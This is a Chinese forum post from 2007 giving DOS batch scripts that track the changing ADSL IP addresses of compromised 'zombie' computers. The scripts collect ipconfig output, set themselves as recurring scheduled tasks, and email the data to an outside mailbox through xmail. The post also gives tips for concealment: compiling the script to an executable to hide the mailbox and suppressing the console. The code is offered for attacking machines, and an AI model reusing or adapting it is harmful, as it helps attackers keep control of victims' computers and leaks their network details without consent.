2007-11-30, 11:35 AM | #1 |
注册日期: 2007-07-17
住址: 火星
帖子: 5,570
现金:9873金币
资产:21334金币
|
在dos下实现动态捕捉ip
ADSL上网越来越多。别人是拨一次号ip就变了一次。这对我们需要肉鸡的朋友可是个麻烦。一般考虑下个木马吧。可是现在别人的安全意识也提高了。3天2天杀毒软件就升级,马儿的日子也不好过哦。要怎么样能够动态的得到adsl的ip地址了?自己程序写不好,对DOS是情有独针,研究了一下,发现在DOS下也是有办法实现的。 这里首先得说一下3条DOS命令 1:FOR 可以通过这条命令从某个文本中得到某个字符段 2:PING 检测网络的连通状况 3:findstr 从某个文本中获取特定字符串 大概思路是先通过ping某个网站来并把结果保存到某个文本文件,通过for取得这个文本中的ip地址。判断这个ip地址是否正确。 批处理如下 IF EXIST ping.txt del ping.txt if exist ip1.txt del ip1.txt if exist ip2.txt del ip2.txt if exist ip3.txt del ip3.txt if exist notconn del notconn.txt if exist conn.txt del conn.txt ping www.ddvip.net >>ping.txt for /f "tokens=3 delims=[ " %%i in (ping.txt) do @echo %%i >>ip1.txt findstr /C:: ip1.txt >IP2.TXT for /f "delims=: " %%i in (ip2.txt) do @echo %%i >ip3.txt if not exist ip3.txt net send 127.0.0.1 "you computer noconn " for /f "delims= " %%i in (ip3.txt) do if %%i equ 61.129.83.156 (net send 127.0.0.1 "you computer has conn ") 上面的代码只不过实现了判断是否连接到internet。有一点要说明一下,上面的代码实现的要求是要有个ping得通的网站(我这里选了http://www.ddvip.net,算是最后对豆豆做点宣传吧)。如...要把findstr /C:: ip1.txt >IP2.TXT改为findstr /C:] ip1.txt >IP2.TXT,再在最后一句for语句改一下就行了。我测试了一下。第2种办法效果不是很好。 要实现动态捕捉ip,就要使用到xmail这个工具了。把net send改为xmail smtp.21cn.com from@21cn.com to@sina.com ipconfigl.txt 再在上面加一句ipconfig >ipconfig.txt.做个计划任务,如果你还想保护到你自己的批处理(防止邮箱泄露)。你可以通过btoc编译工具把批处理做成可执行文件。这里有个小技巧。你可以把启动cmd时带上/q关闭回显。 后记:文章没有什么技术含量,也仅仅是提供一点思路。代码还有不完善的地方,主要是隐藏性不好。一直想做到在后台运行cmd,那位知道的麻烦联系我。 E-mail: zbasic@126.com 附上一段比较完善的代码: IF EXIST ping del ping if exist ipconfig.txt del ipconfig.txt if exist ip1 del ip1 if exist ip2 del ip2 if exist ip3 del ip3 if exist time del time at 12:00 /every: 1.bat at 21:00 /every: 1.bat ipconfig >>ipconfig.txt ping www.ddvip.net >>ping time /t >time for /f "tokens= " %%i in (time) do at %%i /every: 1.bat for /f "tokens=3 delims=[ " %%i in (ping) do @echo %%i >>ip1 findstr /C:: ip1 >IP2 for /f "delims=: " %%i in (ip2) do @echo %%i >ip3 if not exist ip3 exit for /f "delims= " %%i in (ip3) do if %%i equ 61.129.83.156 (xmail smtp.21cn.com from@21cn.com to@sina.com ipconfig.txt) |
|